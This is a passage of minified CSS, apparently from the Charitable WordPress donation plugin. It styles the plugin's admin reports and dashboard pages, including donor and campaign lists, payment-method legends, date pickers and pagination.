.icon{width:25px;text-align:center}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .avatar img,body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .icon img{margin:5px auto;max-width:25px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .avatar{width:55px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .avatar img{width:55px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .info{flex-grow:1;margin-left:15px;margin-right:15px;font-size:14px;line-height:23px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .info p{font-size:14px;line-height:23px;margin:0;font-weight:700}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .info p.name{margin:10px 0 0 0;line-height:14px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .info p.amount{margin:10px 0 0 0;font-weight:500;color:#8C8E96}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .info p.campaign-title{margin:10px 0 0 0;font-style:italic;font-weight:500;color:#8C8E96}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .info p.email{margin:10px 0 0 0;font-weight:500;color:#8C8E96;line-height:14px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .info .badge{font-weight:200;display:inline-block;margin-left:10px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .time-ago{color:#8C8E96}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .donor-donation-info{font-size:14px;line-height:14px;text-align:right}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .donor-donation-info p{margin:0}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .donor-donation-info p:first-of-type{margin-top:10px;margin-bottom:5px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .donor-donation-info .badge{font-weight:200;display:block}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li:last-child{border-bottom:0}body.charitable_page_charitable-reports .charitable-activity-report .charitable-tablenav-activity{width:100%}body.charitable_page_charitable-reports .charitable-activity-report .charitable-tablenav-activity h2{line-height:30px;font-size:18px}body.charitable_page_charitable-reports .charitable-activity-report .charitable-activity-list-container{background-color:#FFF}body.charitable_page_charitable-reports .charitable-activity-report .charitable-activity-list-container .charitable-no-results{padding:20px;text-align:left;font-size:16px;line-height:16px;color:#8C8E96}body.charitable_page_charitable-reports .charitable-the-list-container{padding:20px;margin-left:10px;margin-right:10px;max-height:550px;overflow:scroll}body.charitable_page_charitable-reports .charitable-the-list-container.charitable-no-scroll{overflow:visible;max-height:none}body.charitable_page_charitable-reports .charitable-the-list-container ul{margin-top:0;margin-bottom:0}body.charitable_page_charitable-reports .charitable-the-list-container ul li{color:#474A57;display:flex;border-bottom:1px solid #EFEFF1;padding-bottom:15px;padding-top:15px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .avatar,body.charitable_page_charitable-reports .charitable-the-list-container ul li .icon{width:25px;text-align:center}body.charitable_page_charitable-reports .charitable-the-list-container ul li .avatar img,body.charitable_page_charitable-reports .charitable-the-list-container ul li .icon img{margin:5px auto;max-width:25px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .avatar{width:55px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .avatar img{width:55px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .info{flex-grow:1;margin-left:15px;margin-right:15px;font-size:14px;line-height:23px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .info p{font-size:14px;line-height:23px;margin:0;font-weight:700}body.charitable_page_charitable-reports .charitable-the-list-container ul li .info p.name{margin:10px 0 0 0;line-height:14px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .info p.amount{margin:10px 0 0 0;font-weight:500;color:#8C8E96}body.charitable_page_charitable-reports .charitable-the-list-container ul li .info p.campaign-title{margin:10px 0 0 0;font-style:italic;font-weight:500;color:#8C8E96}body.charitable_page_charitable-reports .charitable-the-list-container ul li .info p.email{margin:10px 0 0 0;font-weight:500;color:#8C8E96;line-height:14px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .info .badge{font-weight:200;display:inline-block;margin-left:10px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .time-ago{color:#8C8E96}body.charitable_page_charitable-reports .charitable-the-list-container ul li .donor-donation-info{font-size:14px;line-height:14px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .donor-donation-info p{margin:0}body.charitable_page_charitable-reports .charitable-the-list-container ul li .donor-donation-info p:first-of-type{margin-top:10px;margin-bottom:5px}body.charitable_page_charitable-reports .charitable-the-list-container ul li .donor-donation-info .badge{font-weight:200;display:block}body.charitable_page_charitable-reports .charitable-the-list-container ul li:last-child{border-bottom:0}body.charitable_page_charitable-reports .charitable-top-campaigns-report{width:66%}body.charitable_page_charitable-reports .charitable-top-campaigns-report p.link{display:table}body.charitable_page_charitable-reports .charitable-top-campaigns-report a{color:#494E5A;text-decoration:none}body.charitable_page_charitable-reports .charitable-top-campaigns-report a img{float:right;margin-left:10px}body.charitable_page_charitable-reports .charitable-top-campaigns-report a:hover{text-decoration:underline}body.charitable_page_charitable-reports .charitable-top-donors-report .avatar img{border-radius:50%}body.charitable_page_charitable-reports .charitable-payment-methods-report{width:33%}body.charitable_page_charitable-reports .charitable-payment-methods-report .apexcharts-canvas{background-image:url("../../../assets/images/icons/payments.svg");background-repeat:no-repeat;background-position:center;margin-left:auto;margin-right:auto}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend{margin:20px auto;width:55%;max-width:300px}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend li{display:flex;margin-bottom:15px;width:100%}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend .icon span{display:block;border-radius:50%;width:15px;height:15px}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend li.stripe .icon span{background-color:#5AA152}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend li.paypal .icon span{background-color:#2B66D1}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend li.manual .icon span{background-color:#F99E36}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend li.offline .icon span{background-color:#9e36f9}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend li.square_core .icon span,body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend li.square .icon span{background-color:#d21561}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend li.none .icon span{background-color:#d21561}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend .info{margin-left:10px;flex-grow:1;font-size:14px;line-height:14px;color:#474A57;font-weight:600;text-align:left}body.charitable_page_charitable-reports .charitable-payment-methods-report .the-legend .total{font-size:14px;line-height:14px;color:#868890;font-weight:400;text-align:right}body.charitable_page_charitable-reports .charitable-top-campaigns-report .the-list ul li{display:block}body.charitable_page_charitable-reports .charitable-top-campaigns-report .the-list ul li .main{display:flex}body.charitable_page_charitable-reports .charitable-top-campaigns-report .the-list ul li .info{margin-left:0}body.charitable_page_charitable-reports .charitable-top-campaigns-report .the-list ul li .info .info-summary{font-weight:400;color:#9899A0}body.charitable_page_charitable-reports .charitable-top-campaigns-report .the-list ul li .info .info-summary p{display:inline-block;margin-right:20px}body.charitable_page_charitable-reports .charitable-top-campaigns-report .the-list ul li .info .info-summary p strong{color:#494E5A;font-weight:400}body.charitable_page_charitable-reports .charitable-top-campaigns-report .the-list ul li .progress-bar{margin:10px auto;width:100%}body.charitable_page_charitable-reports .charitable-title-card{padding:20px 30px;margin-top:0px;margin-bottom:0px;position:relative}body.charitable_page_charitable-reports .charitable-title-card h1{color:#303442;font-weight:600;font-size:17px;line-height:22px;display:inline-block;margin:0;padding:0}body.charitable_page_charitable-reports .charitable-title-card a{display:block;float:right;font-size:23px;line-height:23px}body.charitable_page_charitable-reports .charitable-title-card button.dismiss{position:absolute;top:10px;right:10px;color:#666;font-size:16px;text-decoration:none}body.charitable_page_charitable-reports select#report-donor-type-filter,body.charitable_page_charitable-reports select#report-advanced-type-filter{float:none !important;margin-left:10px}body.charitable_page_charitable-reports .charitable-advanced-report .tablenav{width:100%}body.charitable_page_charitable-reports .progress-bar{height:4px;background-color:#F5F5F5;border-radius:0;border:0}body.charitable_page_charitable-reports .progress-bar .progress{height:4px;background-color:#5AA152}body.charitable_page_charitable-reports .charitable-toggle:hover,body.charitable_page_charitable-reports .charitable-toggle:focus,body.charitable_page_charitable-reports .charitable-toggle:focus-visible,body.charitable_page_charitable-reports .charitable-toggle:active,body.charitable_page_charitable-reports .charitable-toggle i:focus,body.charitable_page_charitable-reports .charitable-toggle i:focus-visible{text-decoration:none;border:0;box-shadow:none}body.charitable_page_charitable-reports .charitable-toggle .charitable-angle-right{rotate:-90deg}body.charitable_page_charitable-reports .badge.completed{color:#50A66A}body.charitable_page_charitable-reports .badge.pending{color:#E38632}body.charitable_page_charitable-reports .badge.active{color:#50A66A}body.charitable_page_charitable-reports .badge.recurring{color:#50A66A}body.charitable_page_charitable-reports .badge.one-time{color:#EAA465}body.charitable_page_charitable-reports .badge.paid, body.charitable_page_charitable-reports .badge.publish, body.charitable_page_charitable-reports .badge.published, body.charitable_page_charitable-reports .badge.charitable-completed{color:#50A66A}body.charitable_page_charitable-reports .badge.cancelled{color:#CE3E4E}body.charitable_page_charitable-reports .badge.draft{color:#ccc}body.charitable_page_charitable-reports .charitable-analytics-container{max-width:790px;margin:30px auto 60px auto;display:table;text-align:center}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-monsterinsights-logo{margin:0 auto}body.charitable_page_charitable-reports .charitable-analytics-container h1{font-weight:600;font-size:28px;line-height:38px;margin-top:20px;color:#444754}body.charitable_page_charitable-reports .charitable-analytics-container h2{font-weight:400;font-size:14px;line-height:22px;margin-top:20px;color:#909299}body.charitable_page_charitable-reports .charitable-analytics-container .vertical-wrapper{margin:0;padding:0;height:100%;width:100%;display:table}body.charitable_page_charitable-reports .charitable-analytics-container .bullets-thumbnail{margin:60px auto;display:grid;grid-template-columns:repeat(2, 1fr);grid-gap:10px;align-content:space-evenly}body.charitable_page_charitable-reports .charitable-analytics-container .bullets-thumbnail img{max-width:300px}body.charitable_page_charitable-reports .charitable-analytics-container .bullets-thumbnail ul{padding:0;margin:0;display:table-cell;vertical-align:middle}body.charitable_page_charitable-reports .charitable-analytics-container .bullets-thumbnail li{text-align:left;min-height:25px;font-size:14px;line-height:21px;color:#474A57;padding-left:25px;margin-bottom:15px;margin-top:0;background:url(../../images/reports/analytics/check.svg) 0 2px no-repeat}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step{margin:20px auto;text-align:left;display:grid;grid-template-columns:1fr 100px;grid-gap:0px;clear:both;max-width:670px;background-color:#fff}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step .instructions{padding:25px;float:left}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step .step{width:100px;background-color:#F7F8FB;text-align:center;float:right}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step .step .step-image{display:table-cell;vertical-align:middle}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step h3{color:#23282D;font-weight:700;font-size:18px;line-height:23px;margin:0;padding:0}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step p{padding:0;margin:10px auto;font-weight:200;color:#646970;font-size:16px;line-height:24px}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step a{margin:5px auto 0 auto;display:inline-block}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step a.button-link{background-color:#5AA152;color:#ffffff;padding:10px 15px;position:relative;top:-4px;text-decoration:none;border-radius:5px;text-shadow:none;font-weight:600;font-size:13px;line-height:normal;cursor:pointer}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step a.button-link:hover{background-color:#1E5B38 !important;border-color:#1E5B38 !important}body.charitable_page_charitable-dashboard .tablenav{font-family:"Inter", sans-serif !important;min-height:30px;height:auto;margin-top:0;margin-bottom:0}body.charitable_page_charitable-dashboard .tablenav .alignleft,body.charitable_page_charitable-dashboard .tablenav .alignright{margin-top:10px;margin-bottom:10px}body.charitable_page_charitable-dashboard .tablenav #charitable-advanced-date-pickers,body.charitable_page_charitable-dashboard .tablenav #charitable-advanced-filter-buttons{display:inline-block}body.charitable_page_charitable-dashboard .tablenav form{display:block;margin:0;padding:0;float:left}body.charitable_page_charitable-dashboard .tablenav select{font-size:13px;line-height:29px;font-weight:500;max-width:none;padding-right:30px;background-color:#F9F9FA;color:#52545F;border-color:#E4E4E7;height:38px}body.charitable_page_charitable-dashboard .tablenav a.button,body.charitable_page_charitable-dashboard .tablenav input.button{background-color:#F9F9FA;color:#52545F;border-color:#E4E4E7}body.charitable_page_charitable-dashboard .tablenav .charitable-datepicker-container a.button{display:block}body.charitable_page_charitable-dashboard .tablenav a.button.with-icon label{padding-right:10px}body.charitable_page_charitable-dashboard .tablenav a.button.with-icon img{margin-bottom:-2px}body.charitable_page_charitable-dashboard .tablenav button.charitable-report-download-button{background-color:#F9F9FA;color:#52545F;border-color:#E4E4E7;height:38px;padding-top:0;padding-bottom:0;margin-left:4px;margin-right:4px}body.charitable_page_charitable-dashboard .tablenav button.charitable-report-download-button label{padding-right:10px;pointer-events:none}body.charitable_page_charitable-dashboard .tablenav button.charitable-report-download-button img{margin-bottom:-2px}body.charitable_page_charitable-dashboard .tablenav button.charitable-report-print-button{background-color:#F9F9FA;color:#52545F;border-color:#E4E4E7;margin-left:4px;margin-right:4px;height:38px;padding-top:0;padding-bottom:0}body.charitable_page_charitable-dashboard .tablenav button.charitable-report-print-button:hover{background-color:#E4E4E7}body.charitable_page_charitable-dashboard .tablenav button.charitable-report-print-button label{padding-right:10px;pointer-events:none}body.charitable_page_charitable-dashboard .tablenav button.charitable-report-print-button img{margin-bottom:-4px}body.charitable_page_charitable-dashboard .tablenav input.charitable-datepicker{width:115px;display:inline-block;background-image:url("../../images/icons/calendar.png");background-repeat:no-repeat;background-position:90px center;background-size:15px 15px;font-size:13px;border-radius:0;background-color:#F9F9FA;color:#52545F;border-color:#E4E4E7;height:38px;padding-top:0;padding-bottom:0;margin-left:4px;margin-right:4px}body.charitable_page_charitable-dashboard .tablenav input.charitable-datepicker-ranged,body.charitable_page_charitable-dashboard .tablenav input.charitable-reports-datepicker{width:195px;display:inline-block;background-image:url("../../images/icons/calendar.png");background-repeat:no-repeat;background-position:170px center;background-size:15px 15px;font-size:13px;border-radius:0;background-color:#F9F9FA;color:#52545F;border-color:#E4E4E7;height:38px;padding-top:0;padding-bottom:0;margin-left:4px;margin-right:4px}body.charitable_page_charitable-dashboard .tablenav.with-margin{margin-bottom:20px}body.charitable_page_charitable-dashboard .charitable-section{margin-top:20px;margin-bottom:20px;display:table}body.charitable_page_charitable-dashboard .charitable-section .alignleft,body.charitable_page_charitable-dashboard .charitable-section .alignright{margin-bottom:15px;margin-top:15px}body.charitable_page_charitable-dashboard .charitable-section-loading{opacity:0.25}body.charitable_page_charitable-dashboard h1 .badge{font-size:11px;font-weight:400}body.charitable_page_charitable-dashboard .charitable-container{border-radius:5px;color:#757781;background-color:#FFF}body.charitable_page_charitable-dashboard .charitable-container .charitable-toggle-container{display:flex;justify-content:space-between;padding:20px 30px;box-shadow:0 5px 15px rgba(0, 0, 0, 0.05);align-items:center}body.charitable_page_charitable-dashboard .charitable-container.charitable-dashboard-notifications .charitable-toggle-container{padding-bottom:10px;padding-left:24px;padding-right:24px}body.charitable_page_charitable-dashboard .charitable-container .the-list{width:100%}body.charitable_page_charitable-dashboard .charitable-headline-graph-container{padding:20px 30px}body.charitable_page_charitable-dashboard .charitable-headline-graph-container.charitable-with-growth-tools{position:relative}body.charitable_page_charitable-dashboard .charitable-section-grid{display:grid;grid-template-columns:repeat(2, 1fr);grid-gap:20px;margin-bottom:20px}body.charitable_page_charitable-dashboard .charitable-section-grid.one-third{display:flex;flex-direction:row}body.charitable_page_charitable-dashboard .charitable-section-grid.charitable-section-grid-column-flexible{align-items:flex-start}body.charitable_page_charitable-dashboard .charitable-section-grid.charitable-section-grid-column-single{columns:1;column-gap:none;display:block}body.charitable_page_charitable-dashboard .charitable-section-flexible{columns:2 200px;column-gap:20px;display:block}body.charitable_page_charitable-dashboard .charitable-section-flexible .charitable-recent-donations-report,body.charitable_page_charitable-dashboard .charitable-section-flexible .charitable-top-campaigns-report,body.charitable_page_charitable-dashboard .charitable-section-flexible .charitable-support,body.charitable_page_charitable-dashboard .charitable-section-flexible .charitable-dashboard-notifications,body.charitable_page_charitable-dashboard .charitable-section-flexible .charitable-recommended-addons,body.charitable_page_charitable-dashboard .charitable-section-flexible .charitable-recommended-snippets{display:inline-block;margin-bottom:20px;width:100%}body.charitable_page_charitable-dashboard .charitable-cards{display:grid;grid-template-columns:repeat(4, 1fr);margin-top:20px;margin-bottom:20px;grid-gap:20px}body.charitable_page_charitable-dashboard .charitable-cards .charitable-card{padding-top:60px;padding-bottom:60px;font-weight:500px;font-size:16px;line-height:16px;text-align:center}body.charitable_page_charitable-dashboard .charitable-cards .charitable-card p{margin-top:5px;margin-bottom:0}body.charitable_page_charitable-dashboard .charitable-cards .charitable-card strong{color:#474A57;font-weight:600;font-size:42px;line-height:44px}body.charitable_page_charitable-dashboard .charitable-report-card .header{margin:0 0 0 0;padding-top:20px;padding-bottom:20px;padding-left:25px;padding-right:25px;border-bottom:1px solid #EFEFF1}body.charitable_page_charitable-dashboard .charitable-report-card .header h4{color:#303442;font-weight:600;font-size:17px;line-height:22px;display:inline-block;margin:0;padding:0}body.charitable_page_charitable-dashboard .charitable-report-card .header a{display:block;float:right;font-size:23px;line-height:23px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul{margin-top:0;margin-bottom:0}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li{color:#474A57;display:flex;border-bottom:1px solid #EFEFF1;padding-bottom:15px;padding-top:15px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .avatar,body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .icon{width:25px;text-align:center}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .avatar img,body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .icon img{margin:5px auto;max-width:25px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .avatar{width:55px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .avatar img{width:55px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .info{flex-grow:1;margin-left:15px;margin-right:15px;font-size:14px;line-height:23px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .info p{font-size:14px;line-height:23px;margin:0;font-weight:700}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .info p.name{margin:10px 0 0 0;line-height:14px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .info p.amount{margin:10px 0 0 0;font-weight:500;color:#8C8E96}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .info p.campaign-title{margin:10px 0 0 0;font-style:italic;font-weight:500;color:#8C8E96}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .info p.email{margin:10px 0 0 0;font-weight:500;color:#8C8E96;line-height:14px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .info .badge{font-weight:200;display:inline-block;margin-left:10px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .time-ago{color:#8C8E96}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .donor-donation-info{font-size:14px;line-height:14px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .donor-donation-info p{margin:0}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .donor-donation-info p:first-of-type{margin-top:10px;margin-bottom:5px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .donor-donation-info .badge{font-weight:200;display:block}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li:last-child{border-bottom:0;padding-bottom:0}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li:first-child{padding-top:0}body.charitable_page_charitable-dashboard .charitable-report-card .more{margin:30px 25px;display:table;padding:0;text-align:left}body.charitable_page_charitable-dashboard .charitable-report-card .more a{font-weight:600;font-size:14px;line-height:16px;text-decoration:none}body.charitable_page_charitable-dashboard .charitable-report-card .more a img{margin-left:10px;float:right;display:block}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards{display:grid;grid-template-columns:repeat(2, 1fr);margin-top:0px;margin-bottom:0px;grid-gap:20px}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card{padding:20px 30px;margin-top:0px;margin-bottom:0px;position:relative;display:table;clear:both}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card h1{color:#303442;font-weight:600;font-size:17px;line-height:22px;display:inline-block;margin:0;padding:0}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card h3{margin-top:0;margin-bottom:0}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card a{margin:5px auto 0 auto;display:inline-block}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card a.button-link{background-color:#5AA152;color:#ffffff;padding:10px 15px;position:relative;top:-4px;text-decoration:none;border-radius:5px;text-shadow:none;font-weight:600;font-size:13px;line-height:normal;cursor:pointer}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card a.button-link.charitable-button-link-upgrade{background-color:#F18500}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card a.button-link:hover{background-color:#43833b !important;border-color:#43833b !important}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card button.dismiss{position:absolute;top:10px;right:10px;color:#666;font-size:16px;text-decoration:none}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card .checklist .done{color:#79ba49}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card .checklist .done:before{content:"\f147";font-family:"dashicons";font-size:20px;margin-right:5px;vertical-align:middle}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card .checklist .not-done{color:#5aa152}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card .checklist .not-done:before{content:"\f464";font-family:"dashicons";font-size:20px;margin-right:8px;vertical-align:middle;margin-left:1px}body.charitable_page_charitable-dashboard .charitable-top-campaigns-report{width:66%}body.charitable_page_charitable-dashboard .charitable-recent-donations-report .the-list ul li{display:block}body.charitable_page_charitable-dashboard .charitable-recent-donations-report .the-list ul li .main{display:flex}body.charitable_page_charitable-dashboard .charitable-recent-donations-report .the-list ul li .info{margin-left:0}body.charitable_page_charitable-dashboard .charitable-recent-donations-report .the-list ul li .info .info-summary{font-weight:400;color:#9899A0}body.charitable_page_charitable-dashboard .charitable-recent-donations-report .the-list ul li .info .info-summary p{display:inline-block;margin-right:20px}body.charitable_page_charitable-dashboard .charitable-recent-donations-report .the-list ul li .info .info-summary p strong{color:#494E5A;font-weight:400}body.charitable_page_charitable-dashboard .charitable-top-campaigns-report .the-list ul li{display:block}body.charitable_page_charitable-dashboard .charitable-top-campaigns-report .the-list ul li .main{display:flex}body.charitable_page_charitable-dashboard .charitable-top-campaigns-report .the-list ul li .info{margin-left:0}body.charitable_page_charitable-dashboard .charitable-top-campaigns-report .the-list ul li .info .info-summary{font-weight:400;color:#9899A0}body.charitable_page_charitable-dashboard .charitable-top-campaigns-report .the-list ul li .info .info-summary p{display:inline-block;margin-right:20px}body.charitable_page_charitable-dashboard .charitable-top-campaigns-report .the-list ul li .info .info-summary p strong{color:#494E5A;font-weight:400}body.charitable_page_charitable-dashboard .charitable-top-campaigns-report .the-list ul li .progress-bar{margin:10px auto;width:100%}body.charitable_page_charitable-dashboard .charitable-support .the-list ul li{display:flex;border:0;padding-top:5px;padding-bottom:5px}body.charitable_page_charitable-dashboard .charitable-support .the-list ul li .icon{margin-right:10px;height:25px;line-height:25px}body.charitable_page_charitable-dashboard .charitable-support .the-list ul li .icon img{max-height:25px;vertical-align:middle}body.charitable_page_charitable-dashboard .charitable-support .the-list ul li .info{margin-left:0}body.charitable_page_charitable-dashboard .charitable-support .the-list ul li .info a{text-decoration:none;font-weight:600;font-size:14px;line-height:30px;color:#474A57}body.charitable_page_charitable-dashboard .charitable-support .the-list ul li .info a:hover{text-decoration:underline}body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul,body.charitable_page_charitable-dashboard .charitable-recommended-snippets .the-list ul{width:100%;margin:0 auto;padding:0;display:grid;grid-template-columns:repeat(2, 1fr);grid-gap:20px}body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul li,body.charitable_page_charitable-dashboard .charitable-recommended-snippets .the-list ul li{border:0;padding-top:5px;padding-bottom:5px;padding-left:5px;padding-right:5px;text-align:center;font-weight:400}body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul li a,body.charitable_page_charitable-dashboard .charitable-recommended-snippets .the-list ul li a{text-decoration:none;font-size:13px;line-height:17px;color:#474A57;font-family:"Inter", sans-serif !important;width:100%}body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul li a h4,body.charitable_page_charitable-dashboard .charitable-recommended-snippets .the-list ul li a h4{font-weight:600;font-size:18px;line-height:21px;margin-top:5px;margin-bottom:5px}body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul li img,body.charitable_page_charitable-dashboard .charitable-recommended-snippets .the-list ul li img{width:100%}body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul li a:hover,body.charitable_page_charitable-dashboard .charitable-recommended-snippets .the-list ul li a:hover{text-decoration:underline}body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul li .popular,body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul li .recommended,body.charitable_page_charitable-dashboard .charitable-recommended-snippets .the-list ul li .popular,body.charitable_page_charitable-dashboard .charitable-recommended-snippets .the-list ul li .recommended{position:absolute;background-color:green;color:white;padding:10px 15px;font-weight:700;text-transform:uppercase}body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul li{padding-top:0;padding:0}body.charitable_page_charitable-dashboard .charitable-recommended-addons .charitable-toggle-container{padding:26px 26px}body.charitable_page_charitable-dashboard .charitable-title-card-content .button-wrap{margin:20px 0 0 0;display:flex;flex-direction:row;justify-content:space-between}body.charitable_page_charitable-dashboard .progress-bar{height:4px;background-color:#F5F5F5;border-radius:0;border:0}body.charitable_page_charitable-dashboard .progress-bar .progress{height:4px;background-color:#5AA152}body.charitable_page_charitable-dashboard .charitable-toggle .charitable-angle-right{rotate:-90deg}body.charitable_page_charitable-dashboard .badge.completed{color:#50A66A}body.charitable_page_charitable-dashboard .badge.pending{color:#E38632}body.charitable_page_charitable-dashboard .badge.active{color:#50A66A}body.charitable_page_charitable-dashboard .badge.recurring{color:#50A66A}body.charitable_page_charitable-dashboard .badge.one-time{color:#EAA465}body.charitable_page_charitable-dashboard .badge.paid, body.charitable_page_charitable-dashboard .badge.charitable-completed{color:#50A66A}body.charitable_page_charitable-dashboard .badge.cancelled{color:#CE3E4E}body.charitable_page_charitable-dashboard .badge.draft{color:#ccc}body.charitable_page_charitable-dashboard .no-items{text-align:center;font-size:17px;line-height:22px;margin:50px auto}body.charitable_page_charitable-dashboard .no-items strong{font-weight:600}body.charitable_page_charitable-dashboard .no-items p{font-size:17px;line-height:22px;margin:12px auto}body.charitable_page_charitable-dashboard .no-items p.link{font-size:14px;line-height:14px;display:table}body.charitable_page_charitable-dashboard .no-items p.link a{font-weight:600;font-size:14px;line-height:14px;text-decoration:none}body.charitable_page_charitable-dashboard .no-items p.link a img{margin-left:10px;margin-top:-2px;float:right;display:block}body.charitable_page_charitable-dashboard #charitable-wpcode-snippets-list{width:100%}body.charitable_page_charitable-dashboard #charitable-wpcode-snippets-list .no-items{margin:35px auto 10px auto}body.charitable_page_charitable-dashboard #charitable-wpcode-snippets-list .no-items p.link{text-align:left;margin:0 auto 0 0}nav.charitable-reports-pagination-nav{margin:0 0 9px}nav.charitable-reports-pagination-nav div.total-count{float:left}nav.charitable-reports-pagination-nav ul{float:right;margin:0}nav.charitable-reports-pagination-nav ul li{font-size:13px;line-height:30px;display:inline-block;text-decoration:none;vertical-align:baseline;min-width:30px;min-height:30px;margin:0;padding:0 4px;text-align:center;color:#a7aaad !important;border-color:#dcdcde !important;background:#f6f7f7 !important;box-shadow:none !important;cursor:default;transform:none !important}nav.charitable-reports-pagination-nav ul li a{display:inline-block;line-height:30px;text-decoration:none;vertical-align:baseline;min-width:30px;min-height:30px;margin:0;padding:0 4px;text-align:center;color:#2271b1;border-color:#2271b1;background:#f6f7f7;cursor:pointer;border-width:1px;border-style:solid;-webkit-appearance:none;border-radius:3px;white-space:nowrap;box-sizing:border-box}nav.charitable-reports-pagination-nav ul li span{text-align:center;display:inline-block}.charitable-admin-ui.charitable-admin-ui-field.charitable-admin-ui-toggle{margin-top:-8px}.wp-pointer-buttons .charitable-pointer-buttons{display:table;width:100%;margin:0 0 0 auto}.wp-pointer-buttons .charitable-pointer-buttons a.close{margin:4px 0 0 25px}.wp-pointer-buttons .charitable-pointer-buttons a.button.button-primary{background:#2271b1;border-color:#2271b1;color:#fff;text-decoration:none;text-shadow:none;font-size:13px;line-height:2.15384615;min-height:30px;margin:0;padding:0 10px;cursor:pointer;border-width:1px;border-style:solid;-webkit-appearance:none;border-radius:3px;white-space:nowrap;box-sizing:border-box}.wp-pointer-buttons .charitable-pointer-buttons 